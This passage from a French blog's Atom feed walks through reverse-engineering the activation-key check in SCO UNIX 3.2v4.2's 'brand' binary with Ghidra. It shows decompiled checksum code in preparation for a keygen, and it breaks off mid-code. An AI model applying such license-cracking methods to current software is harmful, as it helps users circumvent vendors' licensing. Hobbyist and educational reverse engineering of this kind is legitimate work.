<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>aaSSfxxx's blog</title><link href="/" rel="alternate"/><link href="/feed/atom" rel="self"/><id>/</id><updated>2023-02-08T20:04:00+01:00</updated><entry><title>aaSSfxxx se remet au sport</title><link href="/aassfxxx-se-remet-au-sport.html" rel="alternate"/><published>2023-02-08T20:04:00+01:00</published><updated>2023-02-08T20:04:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2023-02-08:/aassfxxx-se-remet-au-sport.html</id><summary type="html">&lt;p&gt;Après presque deux ans a n'avoir rien glandé (hormis ma participation à deux ou
trois CTF cette année) et rien écrit sur mon blog, il est temps de passer aux
choses sérieuses, et faire un petit article histoire de se remettre au sport.&lt;/p&gt;
&lt;p&gt;Comme certains l'ont remarqué sur &lt;s&gt;les toilettes des Internets&lt;/s&gt; Twitter 
ainsi que Discord, je m'amuse en ce moment à installer des vieux UNIXes qui
datent pour certains d'avant ma naissance, principalement pour le lulz.&lt;/p&gt;
&lt;p&gt;Je suis donc tombé sur un ensemble d'images de disquettes pour installer un
SCO UNIX 3.2v4.2, sauf que manque de bol, le serial donné sur WinWorld ne
fonctionnait pas, et de même pour un lâcher de serial keygennés sur un obscur
post de newsgroup datant de l'époque des dinosaures. Comme tout bon reverser
qui se respecte, péter du serial est une raison de vivre, du coup let's go au
pays des merveilles.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Après presque deux ans a n'avoir rien glandé (hormis ma participation à deux ou
trois CTF cette année) et rien écrit sur mon blog, il est temps de passer aux
choses sérieuses, et faire un petit article histoire de se remettre au sport.&lt;/p&gt;
&lt;p&gt;Comme certains l'ont remarqué sur &lt;s&gt;les toilettes des Internets&lt;/s&gt; Twitter 
ainsi que Discord, je m'amuse en ce moment à installer des vieux UNIXes qui
datent pour certains d'avant ma naissance, principalement pour le lulz.&lt;/p&gt;
&lt;p&gt;Je suis donc tombé sur un ensemble d'images de disquettes pour installer un
SCO UNIX 3.2v4.2, sauf que manque de bol, le serial donné sur WinWorld ne
fonctionnait pas, et de même pour un lâcher de serial keygennés sur un obscur
post de newsgroup datant de l'époque des dinosaures. Comme tout bon reverser
qui se respecte, péter du serial est une raison de vivre, du coup let's go au
pays des merveilles.&lt;/p&gt;

&lt;h2&gt;Alice au pays de XENIX&lt;/h2&gt;
&lt;p&gt;Il est désormais temps de sortir notre bon vieux &lt;s&gt;IDA cracké&lt;/s&gt; Ghidra pour
passer aux choses sérieuses. Nous allons regarder le binaire "brand", qu'il va
falloir extraire de l'image disquette "M1.IMG", qui se décompresse très bien
avec &lt;code&gt;tar&lt;/code&gt;. Une fois muni de notre fichier, il va falloir le décompresser (les
fichiers sont compressés pour en faire tenir plus sur une disquette), ce que
&lt;code&gt;gzip&lt;/code&gt; parvient également à faire très bien.&lt;/p&gt;
&lt;p&gt;Ouvrons donc le binaire dans Ghidra (ouais, j'essaie de changer mon avis sur
cet outil malgré le fait qu'il soit écrit en Java). On tombe sur l'entrypoint,
et on voit un &lt;code&gt;uVar1 = FUN_0000026b();&lt;/code&gt; qui ressemble fortement à la fonction
&lt;code&gt;main&lt;/code&gt; du programme. Changeons son prototype directement, puis regardons ce que
nous renvoie le  décompilateur. On trouve pas mal de fonctions en 
&lt;code&gt;FUN_a0000XXX&lt;/code&gt;, qui lorsqu'on double-clique dessus, renvoient vers une zone non
initialisée dans le listing.&lt;/p&gt;
&lt;p&gt;En effet, ce sont des adresses de &lt;code&gt;/shlib/libc_s.so&lt;/code&gt;, l'implémentation de la
libc de SCO, qui a une gestion très primitive de l'édition de liens dynamique:
la libc sera chargée à une adresse fixe, et aura toutes ses fonctions exportées
à la même adresse (bien que la fonction "exportée" ne soit qu'un saut vers la
fonction réelle).&lt;/p&gt;
&lt;p&gt;Cependant, récupérer cette libc à notre étape de l'aventure va être un peu
compliqué (elle n'est présente que sur les disquettes N1.IMG et N2.IMG qui
contiennent un filesystem qu'un Linux récent n'arrive plus à monter). On va
donc y aller à la bite et au couteau, et essayer de deviner le nom des
fonctions à partir de leurs arguments et le rôle qu'elles jouent dans le
code.&lt;/p&gt;
&lt;p&gt;Pour &lt;code&gt;FUN_a00000d7(argc,argv,"lpnsqicb:G")&lt;/code&gt;, il s'agit probablement de la
fonction "getopt", pareil pour la fonction ci-dessous qui ressemble bien à
"fprintf".&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;FUN_a0000096&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DAT_004026a8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Usage: %s [-p] [-l] [-n] [-s] [-q] [-b prd bundlelist] serialno activationkey fi le&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Après avoir renommé un peu quelques fonctions tout ça, on tombe sur ce bloc de
code qui a l'air fort intéressant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cur_args_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optind&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;current_args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optind&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;current_args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;do_the_hustle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;strncat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;current_args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cur_args_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cur_args_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare_checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur_args_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_flag_q&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Invalid Activation Key&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;L'outil récupère donc le serial number et "l'activation key" sur la ligne de
commande, puis fait des carabistouilles avec pour nous dire si c'est bon ou
si GTFO. Regardons plus en détail la fonction que j'ai nommé &lt;code&gt;do_the_hustle&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;chksum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;ak&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ascii_flags&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;chksum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\xb9&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* - &amp;#39;G&amp;#39; */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;\&lt;/span&gt;&lt;span class="n"&gt;xffffff9f&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\x9f&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* - &amp;#39;a&amp;#39; */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\x85&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* - &amp;#39;{&amp;#39; */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ak_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lower_offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chksum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La variable ascii_flags ayant le flag '2' positionné uniquement sur les lettres
minuscules, on en déduit que &lt;code&gt;ascii_flags[(byte)*ptr] &amp;amp; 2) == 0&lt;/code&gt; peut être
réécrit en &lt;code&gt;!islower(*ptr)&lt;/code&gt;. Ainsi, notre fonction ne va traiter que les
caractères minuscules.
Dans le cas où on a un caractère en minuscules, on voit que le le code ASCII du
caractère 'G' (71) correspond au code ASCII de la lettre 'a' (97) - 26, soit le
nombre de lettres de l'alphabet :þ. De même, le code ASCII du caractère '{'
correspond au code ASCII de la lettre 'a' + 26.&lt;/p&gt;
&lt;p&gt;En faisant un peu de maths niveau collège, on peut facilement réécrire ce bloc
de code en la version ci-dessous, et s'épargner une imbrication de "if":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ak&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;islower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
